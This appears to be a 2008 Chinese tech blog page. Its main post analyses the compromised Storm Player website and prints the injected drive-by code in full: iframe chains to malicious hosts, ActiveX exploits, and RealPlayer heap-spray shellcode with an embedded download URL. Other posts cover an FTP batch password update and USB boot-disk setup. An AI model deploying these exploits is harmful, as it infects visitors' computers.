    HKCR\CLSID\{FE14F22E-BE14-4F08-A80F-F27BC3A67B2D} [Default]: (AdFilter Class)
    HKCR\CLSID\{FE14F22E-BE14-4F08-A80F-F27BC3A67B2D}\InprocServer32
    HKCR\CLSID\{FE14F22E-BE14-4F08-A80F-F27BC3A67B2D}\InprocServer32 [Default]: (C:\PROGRA~1\baidu\bar\baidubar.dll)
    HKCR\CLSID\{FE14F22E-BE14-4F08-A80F-F27BC3A67B2D}\InprocServer32 [ThreadingModel]: (Apartment)
    HKCR\CLSID\{FE14F22E-BE14-4F08-A80F-F27BC3A67B2D}\ProgID
    HKCR\CLSID\{FE14F22E-BE14-4F08-A80F-F27BC3A67B2D}\ProgID [Default]: (MimeFilter.AdFilter.1)
    HKCR\CLSID\{FE14F22E-BE14-4F08-A80F-F27BC3A67B2D}\Programmable
    HKCR\CLSID\{FE14F22E-BE14-4F08-A80F-F27BC3A67B2D}\TypeLib
    HKCR\CLSID\{FE14F22E-BE14-4F08-A80F-F27BC3A67B2D}\TypeLib [Default]: ({6AFC2761-1253-427C-9A56-385B4609BE1D})
    HKCR\CLSID\{FE14F22E-BE14-4F08-A80F-F27BC3A67B2D}\VersionIndependentProgID
    HKCR\CLSID\{FE14F22E-BE14-4F08-A80F-F27BC3A67B2D}\VersionIndependentProgID [Default]: (MimeFilter.AdFilter)
    HKCR\MimeFilter.AdFilter
    HKCR\MimeFilter.AdFilter [Default]: (AdFilter Class)
    HKCR\MimeFilter.AdFilter\CLSID
    HKCR\MimeFilter.AdFilter\CLSID [Default]: ({FE14F22E-BE14-4F08-A80F-F27BC3A67B2D})
    HKCR\MimeFilter.AdFilter\CurVer
    HKCR\MimeFilter.AdFilter\CurVer [Default]: (MimeFilter.AdFilter.1)
    HKCR\MimeFilter.AdFilter.1
    HKCR\MimeFilter.AdFilter.1 [Default]: (AdFilter Class)
    HKCR\MimeFilter.AdFilter.1\CLSID
    HKCR\MimeFilter.AdFilter.1\CLSID [Default]: ({FE14F22E-BE14-4F08-A80F-F27BC3A67B2D})
    HKCR\CLSID\{7C76C055-ED6E-4535-A70F-CD476E727F67}
    HKCR\CLSID\{7C76C055-ED6E-4535-A70F-CD476E727F67} [Default]: (DropTarget Class)
    HKCR\CLSID\{7C76C055-ED6E-4535-A70F-CD476E727F67}\InprocServer32
    HKCR\CLSID\{7C76C055-ED6E-4535-A70F-CD476E727F67}\InprocServer32 [Default]: (C:\PROGRA~1\baidu\bar\baidubar.dll)
    HKCR\CLSID\{7C76C055-ED6E-4535-A70F-CD476E727F67}\InprocServer32 [ThreadingModel]: (Apartment)
    HKCR\CLSID\{7C76C055-ED6E-4535-A70F-CD476E727F67}\ProgID
    HKCR\CLSID\{7C76C055-ED6E-4535-A70F-CD476E727F67}\ProgID [Default]: (BaiduBarEx.DropTarget.1)
    HKCR\CLSID\{7C76C055-ED6E-4535-A70F-CD476E727F67}\TypeLib
    HKCR\CLSID\{7C76C055-ED6E-4535-A70F-CD476E727F67}\TypeLib [Default]: ({6AFC2761-1253-427C-9A56-385B4609BE1D})
    HKCR\CLSID\{7C76C055-ED6E-4535-A70F-CD476E727F67}\VersionIndependentProgID
    HKCR\CLSID\{7C76C055-ED6E-4535-A70F-CD476E727F67}\VersionIndependentProgID [Default]: (BaiduBarEx.DropTarget)
    HKCR\baidubar.baidu
    HKCR\baidubar.baidu [Default]: (BaiduBar)
    HKCR\baidubar.baidu\CLSID
    HKCR\baidubar.baidu\CLSID [Default]: ({B580CF65-E151-49C3-B73F-70B13FCA8E86})
    HKCR\baidubar.baidu\CurVer
    HKCR\baidubar.baidu\CurVer [Default]: (BaiduBar.Baidu.1)

  • 汗!刚刚发现,暴风影音网站被黑了,css文件成病毒源!~~

    2008-10-20 20:57:25

     

       刚打算到官网下载暴风影音播放器,哪想一开网站,就是一堆乱码(win2003上),杀毒软件报毒。查看源码,发现暴风影音首页变成以下一段代码:

    <iframe. src=http://www.hryspat.cn/zzll/14.htm width=50 height=0 border=0></iframe>

    查看http://www.hryspat.cn/zzll/14.htm 代码,发现如下:

     <br>
    <br>
    <Iframe. src="http://zlwrnm8.cn/a141/fxx.htm" width=100 height=0></Iframe>
    <br>
    <br>
    <br>
    <br>


    <Script. language="javascript" type="text/javascript" src="http://js.users.51.la/2100339.js"></script>

     

    进一步分析http://zlwrnm8.cn/a141/fxx.htm页码,得到如下代码:

    <script>
    document.write("<iframe. width=100 height=0 src=fx.htm></iframe>");
    document.write("<iframe. width=100 height=0 src=ss.html></iframe>");
    window.status="完成";
    window.onerror=function(){return true;}
    if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)
    document.write("<iframe. width=100 height=0 src=Ms06014.htm></iframe>");
    try{var m;
    var hw=new ActiveXObject("Downloader.DLoader.1");}
    catch(m){};                     
    finally{if(m!="[object Error]"){document.write("<iframe. width=100 height=0 src=http://zlwrnm8.cn/sina.htm></iframe>");}}
    try{var n;
    var hl=new ActiveXObject("UUUPGRADE.UUUpgradeCtrl.1");}
    catch(n){};                     
    finally{if(n!="[object Error]"){document.write("<iframe. width=100 height=0 src=http://zlwrnm8.cn/UU.htm></iframe>");}}
    try{var b;
    var ml=new ActiveXObject("DPClient.Vod");}
    catch(b){};                     
    finally{if(b!="[object Error]"){document.write("<iframe. width=100 height=0 src=Thunder.html></iframe>");}}
    try{var f;
    var gw=new ActiveXObject("GLIEDown.IEDown.1");}
    catch(f){};                     
    finally{if(f!="[object Error]"){document.write("<iframe. width=100 height=0 src=GLWORLD.html></iframe>");}}
    function test()
    {
    rrooxx = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
    try
    {
    Like = new ActiveXObject(rrooxx);
    }catch(error){return;}
    vvvvv = Like.PlayerProperty("PRODUCTVERSION");
    if(vvvvv<="\x36\x2e\x30\x2e\x31\x34\x2e\x35\x35\x32")
    document.write("<iframe. width=100 height=0 src=real.htm></iframe>");
    else
    document.write("<iframe. width=100 height=0 src=Real.html></iframe>");
    }
    test();
    document.write("");
    </script>

    利用哪些漏洞,一目了然。

    另外,继续向下追踪,可发现相关代码:

    <Script. src="swfobject.js" type="text/javascript"></Script> 
    <div id="flashcontent">111</div><div id="flashversion">222</div>
    <script. type="text/javascript">
    var version=deconcept.SWFObjectUtil.getPlayerVersion();
    if(version['major']==9){
     document.getElementById('flashversion').innerHTML="";
     if(version['rev']==115){
      var fuckavp = "SB";
      var so=new SWFObject("./f115.swf","mymovie","0.1","0.1","9","#000000");
      so.write("flashcontent")
     }else if(version['rev']==64){
      var fuckavp = "SB";
      var fucaxavp = "SB";
      var so=new SWFObject("./f64.swf","mymovie","0.1","0.1","9","#000000");
      so.write("flashcontent")
     }else if(version['rev']==47){
      var snjd="dsa";
      var so=new SWFObject("./f47.swf","mymovie","0.1","0.1","9","#000000");
      so.write("flashcontent")}else if(version['rev']==45){
      var so=new SWFObject("./f45.swf","mymovie","0.1","0.1","9","#000000");
      so.write("flashcontent")
     }else if(version['rev']==28){
      var so=new SWFObject("./f28.swf","mymovie","0.1","0.1","9","#000000");
      so.write("flashcontent")
     }else if(version['rev']==16){
      var so=new SWFObject("./f16.swf","mymovie","0.1","0.1","9","#000000");
      so.write("flashcontent")
     }else if(version['rev']>=124){
      if(document.getElementById){
       document.getElementById('flashversion').innerHTML=""
      }
     }
    }
    </script>

     

    ss.html源码:

    <script. type="text/javascript">function fckErrors() {
    return true;
    }
    window.onerror = fckErrors;

    var fuckavo="SB";
    var x;
    var fuckavp="SB";
    var obj;
    var fuckavx="SB";
    var mycars = new Array();
    var fuckava="SB";
    mycars[0] = "c:/Program Files/Outlook Express/WAB.EXE";
    mycars[1] = "d:/Program Files/Outlook Express/WAB.EXE";
    var fxax="SxaB";
    mycars[2] = "e:/Program Files/Outlook Express/WAB.EXE";

    var bjlcx = new ActiveXObject("snpvw.Snapshot Viewer Control.1");

    if(objlcx="[object]")
    {

    setTimeout('window.location = "ldap://"',3000);

    for (x in mycars)
    {
    obj = new ActiveXObject("snpvw.Snapshot Viewer Control.1")

    var yrtytr="ghjhgjyrt";

    var buf1 = 'http://www.oiuytr.net/new/a141.css';
    var nbv="nvbfdsf";
    var buf2=mycars[x];
    var hfgnvbj="wertgx";

    var gghfsdfdvj="fsdfssd";
    obj.Zoom = 0;
    obj.ShowNavigationButtons = false;
    obj.AllowContextMenu = false;
    obj.SnapshotPath = buf1;

    try
    {
    obj.CompressedPath = buf2;
    obj.PrintSnapshot();}catch(e){}

    }
    }
    var ghdg="SB";
    var jhsnfvasxa="SBd";
    </script>

    Real.html漏洞利用源码1:

    <html><body>
    <object classid="clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93" id="Cike"></object>
    <script. language="JavaScript">
    var ri4="%u0fc0%ubb85%u0000%uff00%ue903%u0221%u0000%u895b%u205d%u6856%ufe98";
    var ri2="%u0004%uf300%uffa4%ue8e0%uffe4%uffff%ua164%u0030%u0000%u408b%u8b0c";
    var ri0 ="%u7468%u7074%u2f3a%u772f%u7777%u6f2e%u7569%u7479%u2e72%u656e%u2f74%u656e%u2f77%u3161%u3134%u632e%u7373";
    var ri9="%uc7f6%u2845%u5255%u4d4c%u45c7%u4f2c%u004e%u8d00%u285d%uff53%u0455";
    var ri6="%u0445%u6856%u79c1%ub8e5%u95e8%u0000%u8900%u1c45"+"%u6856"+"%uc61b%u7946";
    var ri1="%u9090%u6090%u17eb%u645e%u30a1%u0000%u0500%u0800%u0000%uf88b%u00b9";
    var ri8="%u6856%u84e7%ub469%u6be8%u0000%u8900%u1445%ue0bb%u020f%u8900%u3303";
    var ri3="%u1c70%u8bad%u0870%uec81%u0200%u0000%uec8b%ue8bb%u020f%u8b00%u8503";
    var ri5="%u0e8a%ub1e8%u0000%u8900%u0c45%u6856%u4e8e%uec0e%ua3e8%u0000%u8900";
    var ri7="%u87e8%u0000%u8900%u1045%u6856%ufcaa%u7c0d%u79e8%u0000%u8900%u0845";var mcnod="dong";
    </script>
    <script. language="JavaScript">
    var ri10="%u6850%u1a36%u702f%u3fe8%u0000%u8900%u2445%u7f6a%u5d8d%u5328%u55ff";
    var ri11="%uc71c%u0544%u5c28%u652e%uc778%u0544%u652c%u0000%u5600%u8d56%u287d";
    var ri12="%uff57%u2075%uff56%u2455%u5756%u55ff%ue80c%u0062%u0000%uc481%u0200";
    var ri13="%u0000%u3361%uc2c0%u0004%u8b55";
    var ri55="%u51ec%u8b53%u087d%u5d8b%u560c%u738b";
    var ri14="%u8b3c%u1e74%u0378%u56f3%u768b%u0320%u33f3%u49c9%uad41%uc303%u3356";
    var ri15="%u0ff6%u10be%uf23a%u0874%ucec1%u030d%u40f2%uf1eb%ufe3b%u755e%u5ae5";
    var ri16="%ueb8b%u5a8b%u0324%u66dd%u0c8b%u8b4b%u1c5a%udd03%u048b%u038b%u5ec5";
    var ri17="%u595b%uc25d%u0008%u92e9%u0000%u5e00%u80bf%u020c%ub900%u0100%u0000";
    var ri18="%ua4f3%uec81%u0100%u0000%ufc8b%uc783%uc710%u6e07%u6474%uc76c%u0447";
    var ri19="%u006c%u0000%uff57%u0455%u4589%uc724%u5207%u6c74%uc741%u0447%u6c6c";
    var ri20="%u636f%u47c7%u6108%u6574%uc748%u0c47%u6165%u0070%u5057%u55ff%u8b08";
    var ri21="%ub8f0%u0fe4%u0002%u3089%u07c7%u736d%u6376%u47c7%u7204%u0074%u5700";
    var ri22="%u55ff%u8b04%u3c48%u8c8b%u8008%u0000%u3900%u0834%u0474%uf9e2%u12eb";
    var ri23="%u348d%u5508%u406a%u046a%uff56%u1055%u06c7%u0c80%u0002%uc481%u0100";
    var ri24="%u0000%ue8c3%uff69%uffff%u048b%u5324%u5251%u5756%uecb9%u020f%u8b00";
    var ri25="%u8519%u75db%u3350%u33c9%u83db%u06e8%ub70f%u8118%ufffb%u0015%u7500";
    var ri26="%u833e%u06e8%ub70f%u8118%ufffb%u0035%u7500%u8330%u02e8%ub70f%u8318";
    var ri27="%u6afb%u2575%uc083%u8b04%ub830%u0fe0%u0002%u0068%u0000%u6801%u1000";
    var ri28="%u0000%u006a%u10ff%u0689%u4489%u1824%uecb9%u020f%uff00%u5f01%u5a5e";
    var ri29=ri1+ri2+ri3+ri4+ri5+ri6+ri7+ri8+ri9+ri10+ri11+ri12+ri13+ri55;
    var ri30=ri14+ri15+ri16+ri17+ri18+ri19+ri20+ri21+ri22+ri23+ri24;
    var ri31="%u90"+"90%u"+"90"+"90"+ri29+ri30+ri25+ri26+ri27+ri28+"%u5b59%ue4b8%u020f%uff00%ue820%ufdda%uffff";
    var wokao="dc";
    var cikewmqq575562708 = unescape(ri31+ri0);
    var bigblock = unescape("%u0"+"C0C%u0C"+"0C");
    var headersize = 20;
    var slackspace = headersize + cikewmqq575562708.length;
    while (bigblock.length < slackspace) bigblock += bigblock;
    var fillblock = bigblock.substring(0,slackspace);
    var block = bigblock.substring(0,bigblock.length - slackspace);
    while (block.length + slackspace < 0x40000) block = block + block + fillblock;
    var memory = new Array();
    for (i = 0; i < 400; i++){ memory[i] = block + cikewmqq575562708 }
    var buf = '';
    while (buf.length < 32) buf = buf + unescape("%0"+"C");
    var m = '';
    m = Cike.Console;
    Cike.Console = buf;
    Cike.Console = m;
    m = Cike.Console;
    Cike.Console = buf;
    Cike.Console = m;
    </script>
    </body></html>

    real.htm漏洞利用源码:

    <SCRIPT>
    function hugedong(){
     var sswadf="axa";
     var user=navigator.userAgent.toLowerCase();
     var jdkc="xac";
     if(user.indexOf("msie 6")==-1&&user.indexOf("msie 7")==-1)return ;
     var ascaxf="duck";
     if(user.indexOf("nt 5.")==-1)return ;
     VulObject="IER"+"PCtl.I"+"ERP"+"Ctl.1";
     try{
      Real=new ActiveXObject(VulObject);
      
     }catch(error){
      return ;
      
     }document.cookie="Cookie2=POPWINDOS;expires="+Then.toGMTString();
     sssdfsadf="sadfsdfsdafdsa";
     RealVersion=Real.PlayerProperty("PRODUCTVERSION");
     Padding="";
     JmpOver=unescape("%75%06%74%04");
     for(i=0;i<32*148;i++)Padding+="S";xad="cdsf";
     if(RealVersion.indexOf("6.0.14.")==-1){
      if(navigator.userLanguage.toLowerCase()=="zh-cn")ret=unescape("%7f%a5%60");
      else if(navigator.userLanguage.toLowerCase()=="en-us")ret=unescape("%4f%71%a4%60");
      else return ;
      
     }else if(RealVersion=="6.0.14.536")ret=unescape("%51"+"%11"+"%70"+"%63");
     else if(RealVersion=="6.0.14.550")ret=unescape("%63"+"%11"+"%04"+"%60");
     else if(RealVersion=="6.0.14.552")ret=unescape("%79"+"%31"+"%01"+"%60");
     else if(RealVersion=="6.0.14.544")ret=unescape("%63"+"%11"+"%08"+"%60");
     else if(RealVersion=="6.0.14.543")ret=unescape("%79"+"%31"+"%09"+"%60");
     else return ;
     sssdfsadf="sadfsdfsdafdsa";
     if(RealVersion.indexOf("6.0.14.")!=-1){
      for(i=0;i<10;i++)Padding=Padding+JmpOver;Padding=Padding+ret;
     }else if(RealVersion.indexOf("6.0.12.")!=-1){
      for(i=0;i<9;i++)Padding=Padding+JmpOver;Padding=Padding+ret;
     }else if(RealVersion.indexOf("6.0.11.")!=-1){
      for(i=0;i<6;i++)Padding=Padding+JmpOver;Padding=Padding+ret;
     }else if(RealVersion.indexOf("6.0.10.")!=-1){
      for(i=0;i<4;i++)Padding=Padding+JmpOver;Padding=Padding+ret;
     }sssdfsadf="sadfsdfsdafdsa";AdjESP="LLLL\\XXXXXLD";sssdfsadf="sadfsdfsdafdsa";Shell ="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0qJPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVsZzMFv0z8K8";Shell1 ="mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGONuKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5MgMWQuMwrun";Shell2 ="Ogp8mpn8m7PrZBEleoWng2DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOLNQKe6pfQvXeMpPuVPwP9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQWRU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtTpp5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7nVoUBdrfnvts3";Shell3 ="c77r3VwZwyGw7rdj4OS4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBf";Shell4 ="RWygPfouZtCwWqvRHptd4RPFZVOdoRWQgrWTnPo3Y3ET944QbfNpnauPttorN3UQgFOPaP1TttqtnasrSPsK0Wp";
     PayLoad=Padding+AdjESP+Shell+Shell1+Shell2+Shell3+Shell4;while(PayLoad.length<0x8000)PayLoad+="ChuiZi";sssdfsadf="sadfsdfsdafdsa";sssdfsadf="sadfsdfsdafdsa";Real["\x49\x6d\x70\x6f\x72\x74"]("c:\\Program Files\\NetMeeting\\TestSnd.wav",PayLoad,"",0,0);sssdfsadf="sadfsdfsdafdsa";
    }var Then=new Date();Then.setTime(Then.getTime()+24*60*60*1000);var cookieString=new String(document.cookie);var cookieHeader="Cookie2=";var beginPosition=cookieString.indexOf(cookieHeader);if(beginPosition==-1){
     hugedong();
     
    }
    </script>

    粗步发现,病毒源为一个css文件,用迅雷下载下来,发现居然是一个可执行文件!细节以后有空再研究,,看来这回又有不少电脑要中招啦!~~暴风影音的网站网管,估计今天睡不好觉啦~~

  • [原创]远程批处理修改maxdos7密码

    2008-10-18 17:56:04

            刚接手一家网吧,前任把DOS密码丢了,我得重新更改DOS密码。机子太多,不可能一台台修改。修改maxdos7密码,最简单的法子就是重装maxdos7,并把相关文件替换掉即可。

           先在服务器上放上改了密码的两个文件:maxkr.gz和maxkrx.gz两个文件,并将服务器配置成ftp服务器。在客户端运行以下命令:

    @echo off
    c:
    cd\maxdos

    echo open 192.168.0.253 1728 > tt.txt
    echo 用户名 >> tt.txt
    echo 密码 >> tt.txt
    echo ge maxkr.gz >> tt.txt
    echo ge maxkrx.gz >> tt.txt
    echo ge Maxs.sys >> tt.txt
    echo bye >> tt.txt

    attrib -s -h -r Maxkr.gz
    attrib -s -h -r Maxkrx.gz
    del Maxkr.gz
    del Maxkrx.gz
    ftp -s:tt.txt
    del tt.txt
    attrib +s +h +r Maxkr.gz
    attrib +s +h +r Maxkrx.gz
    exit

  • USB启动盘,将DOS工具集成到WinPE的grub

    2008-09-30 15:54:45

    http://xok.la/2008/04/dos_usb_harddisk_20m.html

    http://os.deepin.org/read.php?tid=688752

    转自http://blog.chinaunix.net/u/738/index.html

    经常遇到一些机器由于没有光驱而对安装系统造成不小的麻烦,所以打算搞个功能比较够用的可启动U盘,以实现一盘搞定的目的.

    目标:
    USB-HDD启动方式
    包含WinPE功能
    集成"一键GHOST"
    集成"矮人DOS工具箱"
    微软内存检测工具
    RST内存检测工具

    所用工具:
    老毛挑的miniWinPE
    从一键GHOST中提取的ghost.img
    人矮人dos工具箱中提取的ar5.img
    Microsoft内存检测 windiag.img
    rst内存检测 rst442.img
    GRUB菜单修改程序 grubmenu.exe

    步骤:
    先将minipe安装到U盘(这个按步骤搞就行了,我用的911版的,采用grub+U盘的安装方式,此光盘ISO里自带安装工具).可以在网上搜索下载:老九 WinPE 老毛桃修改之撒手不管版(Build 070911)

    此步骤做玩,U盘已经是一个可启动的winpe维护盘了.可以搞大多数的维护工作了.
    不过由于一些老机器不支持USB2.0启动会非常慢,一些机器的控制器在这个PE里面没有驱动程序,都会使其使用效果大打折扣,所以自己DIY一些DOS工具和内存检测工具,才能使这个U盘更实用.

    这个PE安装到U盘使用grub启动,所以我们要做的是修改GRUB启动菜单.
    而老毛挑的这个并无menu.lst文件,采用的是将菜单集成到mtldr文件的作法.

    使用grubmenu.exe这个程序可以完成这个任务.

    G:\grubutil-1.1-bin-w32-9>grubmenu
    Usage:
            grubmenu info grldr
            grubmenu print grldr
            grubmenu export grldr menu.lst
            grubmenu import grldr menu.lst

    G:\grubutil-1.1-bin-w32-9>

    使用grubmenu export mtldr menu.lst命令将mtldr里面的菜单配置导出到menu.lst文件中.
    (mtldr文件在U盘根目录,是隐藏文件,注意去掉只读属性才能修改).

    将修改好的menu.lst文件再用grubmenu import mtldr menu.lst命令导入到mtldr里面.

    所有的password行都已经被我删除了,由于是自己用,所以所有的密码都没什么用处的.


    如果你想使用默认的独立的菜单menu.lst文件方式:由于老毛挑通过修改mbr里面的默认文件名grldr为mtldr来实现个性化,所以我先恢复默认的GRUB的MBR,再复制一个默认的grldr文件,将提取的菜单文件menu.lst复制到根目录,删除mtldr即可:
    使用上面的grubutil里面的grubinst_gui.exe这个程序


    默认的grldr文件可以从http://jaist.dl.sourceforge.net/sourceforge/grub4dos/grub4dos-0.4.3.zip包里找到.注意支持中文的grldr在chinese目录里面的.

    这是我修改后的文件:

    default 0
    timeout 5

    fontfile /minipe/muifont.gz
    splashimage /minipe/bj2008.xpm.gz

    title WinPE 迷你维护系统
    chainloader /minipe/ldrxpe

    title Grub 命令行
    commandline

    title DOS工具箱 MODE1
    map --mem /minipe/ar5.img (fd0)
    map --hook
    chainloader (fd0)+1
    rootnoverify (fd0)

    title DOS工具箱 MODE2
    map --mem (hd0,0)/minipe/ar5.img (fd0)
    map --hook
    chainloader (fd0)+1
    rootnoverify (fd0)

    title DOS工具箱 MODE3
    kernel /minipe/memdisk c=160 h=2 s=36 floppy
    initrd /minipe/ar5.img

    title DOS工具箱 MODE4
    kernel (hd0,0)/minipe/memdisk c=160 h=2 s=36 floppy
    initrd (hd0,0)/minipe/ar5.img

    title 一键GHOST MODE1
    map --mem /minipe/ghost.img (fd0)
    map --hook
    chainloader (fd0)+1
    rootnoverify (fd0)

    title 一键GHOST MODE2
    map --mem (hd0,0)/minipe/ghost.img (fd0)
    map --hook
    chainloader (fd0)+1
    rootnoverify (fd0)

    title 一键GHOST MODE3
    kernel /minipe/memdisk c=160 h=2 s=36 floppy
    initrd /minipe/ghost.img

    title 一键GHOST MODE4
    kernel (hd0,0)/minipe/memdisk c=160 h=2 s=36 floppy
    initrd (hd0,0)/minipe/ghost.img

    title 微软内存检测
    map --mem /minipe/windiag.img (fd0)
    map --hook
    chainloader (fd0)+1
    rootnoverify (fd0)

    title R.S.T 内存检测
    map --mem /minipe/rst442.img (fd0)
    map --hook
    chainloader (fd0)+1
    rootnoverify (fd0)

    title 从第一硬盘第一分区启动
    root (hd0,0)
    chainloader +1

    title 从第二硬盘第一分区启动
    root (hd1,0)
    chainloader (hd1,0)+1

    title 重新启动计算机
    reboot

    title 关闭计算机
    halt

    4个启动模式的原因?
    上面"一键"和"DOS工具箱"都出现了4次,是有点画蛇添足,这是我看了下一键ghost的说明后搞的,一键ghost的启动选项里面分成了4个选项分别对应于不同的菜单文件,说是可以解决一些机器无法正常启动的情况,可能只有一种模式可以启动.所以我将这四种模式都做成了菜单里面的选项,以防一些机器无法启动的情况.
    实际上这两个DOS工具,在我的机器上,所有模式都可正常启动,其它机器没试,所以先弄着吧!^_^

    DOS工具箱不能启动原因?
    这样弄好后,发现DOS工具箱的MODE1和MODE2无法正常启动,其它的都可以了.
    比较了这两个文件后发现这两个文件的簇大小不一样,ar5.img是2048;ghost.img是1024
    使用winimg修改ar5.img的簇大小为1024后,就可以正常启动了.

    WinImage->映像->更改格式->选择自定义映像格式->


    将上面的2048改成1024再保存就OK了.



    title 从第一硬盘第一分区启动
    root (hd0,0)
    chainloader +1

    这个启动实际上是U盘上的系统,在根目录有ntldr,boot.ini文件实际上会启动boot.ini里面的菜单,这又给添加其它功能多了一种方式,具体自己搞了,我现在用不上.就不弄了.

    欢迎相互交流!
  • [转]DOS/WinPE双启动U盘制作详解

    2008-09-30 08:58:48

    前缘:

    很多年以前,那时候软驱还是电脑的必配,维护电脑引导系统也用软盘,我那时候就做了N片启动软盘。后来随着软盘淡出市场,系统维护盘也改用光盘了,例如著名的深山红叶系统维护工具盘,就为我的工作提供了有力的帮助。不过光盘还是存在容易磨花,体积较大等缺点。现在的电脑基本上都支持USB设备启动,U盘可以做成小巧而容易携带的系统维护盘;可重写的存储媒体也为更新提供了方便,再也不用为了升级刻录一堆光盘了。



    目标:

    对于系统维护来说,WindowsPE不可却少的利器;除此外,有一些问题还是需要启动到DOS环境来解决。所以我的目标就是制作一个DOS/WinPE双启动的系统维护U盘。下次再遇到某电脑系统崩溃的话,从衣袋里面摸出一精致的U盘,启动电脑之后,把问题解决于弹指间。何其潇洒也!



    摸索:

    虽然U盘具有前述的诸多优点,但具体做起来,还存在一些需要解决的问题。最大的问题是:USB启动并没有统一的行业规范。主板制造商不同、BIOS不同,USB引导方式也有差异。作为移动存储设备,主板对U盘的识别不同,会使盘符变化。这些直接导致U盘启动的通用性和兼容性不理想,表现就是在有些电脑上无法引导。这是需要重点解决的问题。如果仅仅只需启动一个OS,实现起来稍容易一些;例如,可以用HP USB Storage Format Tool或者USBoot直接把U盘格式化成为DOS引导盘。但是要实现DOS/WinPE的双启动,情况就复杂了,这要用到多系统引导工具来解决。由于前述U盘引导的特殊性,有的引导工具会出现兼容性问题。经过多次尝试,换用不同的引导工具,最后用 NT Loader + AVLDR + Avlgo 制作成功,在几台主板不同的电脑上测试,暂未发现兼容性问题。



    实现策略:

    把U盘格式化成NT引导模式,设置Boot.ini构建多重选单,用 NT Loader + AVLDR 加载对应的WinPE镜像。

    用NT Loader + Avlgo 加载DOS软盘镜像,由于Avlgo本身没有直接提供多重启动选单的功能,为了适应主板把U盘识别为USB-HDD和USB-FDD两种不同的情况,需要对Avlgo的启动文件动个小手术,以适应不同的启动盘符。



    OS选择:

    DOS系统选用MS-DOS 7.1;WinPE选用无忧论坛老毛桃的“外置网络、多媒体组件的老九 WinPE 老毛桃最终修改版”。



    工具准备:

    PeToUsb――用来把U盘格式化成NT引导模式;WinImage――用于制作DOS启动软盘镜像;Avlgomgr――用于生成Avlgo引导文件;UltraEdit――用于编辑修改Avlgo的引导文件。



    数据准备:

    1、PeToUSB是一款免费软件,专门用来把U盘引导区格式化成NTLDR引导代码。启动PeToUSB,从“Destination Driver”栏选择目标U盘,点击下面的“Start”按钮,它询问“Continue”是否继续,点击“是”,弹出一个警告窗口,提示目标盘的所有数据都将会丢失,是否继续?还是选择“是”,然后片刻就完成格式化。



    2、用WinImage制作一个2.88M的启动软盘镜像,将MS-DOS 7.1装入镜像,并把常用的DOS工具也放到镜像里面。启动WinImage后,点击最左边的按钮新建一个镜像,这里选择标准格式2.88MB,为的是尽量能多存放一些工具。然后向这个镜像中添加文件,把事先准备好的MS-DOS系统文件从资源管理器里面拖拽到WinImage窗口中。其它DOS工具也这样添加进来。文件添加完毕之后,点击“映像”菜单――“引导扇区属性”,选择“Windows 95/98”并确定,这一步很重要,漏做这一步的话,这个软盘镜像就不能引导电脑了。最后保存成ima格式的镜像文件DOS.ima。



    3、先备份好C盘的Boot.ini文件,注意默认状态看不到这个系统、隐藏属性的文件,需要到资源管理器里面“工具”菜单“文件夹选项”当中修改查看方式,取消“隐藏受保护的操作系统文件”复选框,并切换为显示所有文件。启动Avlgomgr,在“虚拟磁盘完整路径”浏览找到刚才用WinImage制作的镜像文件,然后点击“装配”按钮,Avlgomgr自动修改Boot.ini文件,并在目标盘(本例为C盘)生成我们需要的Avldr.bin和Avlgo.sys两个关键文件,把这两个文件拷贝到某处备用。完成以后恢复原C盘的Boot.ini文件。



    4、启动UltraEdit,先打开Avldr.bin,在编辑屏右边的ASCⅡ码区域可以找到“AVLGO.SYS”的字符串,把它改成“AVDOS.SYS”,文件另存为Avldr.dos。



    5、然后打开Avlgo.sys,在右边ASCⅡ码区域找“(hd0,0)/DOS.IMA”字符串,把它修改成“(fd0)/DOS.IMA”。修改的时候要注意,由于修改后的字符串比修改前的短,为保证文件长度不变,剩下的部分要切换到左边16进制码区域,用“00”填充,这样才能保证文件长度不变。修改完后另存为Avdos.sys。





    开始组装:


    1、首先,在U盘的根目录用记事本创建一个Boot.ini文件,内容如下:

    [boot loader]

    timeout=30

    default=C:\avldr.xpe

    [operating systems]

    C:\avldr.xpe="Windows PE   By:LaoMaotao"

    C:\avldr.bin="MS-DOS 7.1 form. USB-HDD"

    C:\avldr.dos="MS-DOS 7.1 from USB-FDD"

    完成以后把这个文件的属性修改成 只读/系统/隐藏(可以用DOS命令 attrib +r +s +h boot.ini 修改文件属性)。

    这是NT Loader的菜单配置文件,timeout参数设置的是菜单等待时间,如果在设定的时间(本例为30秒)用户没有进行选择,就自动加载default项默认的C:\avldr.xpe,启动WinPE。

    [operating systems]小节是菜单中出现的引导选项,第一个就是前面default设置的老毛桃WinPE,双引号里面的是注释行,会显示在引导菜单里面。下面两行分别是为主板识别U盘为USB-HDD和主板识别U盘为USB-FDD两种模式对应的引导项。



    2、把硬盘系统的NTLDR和NTDETECT.COM两个文件拷贝到U盘根目录,这是NT Loader引导器的必须文件。



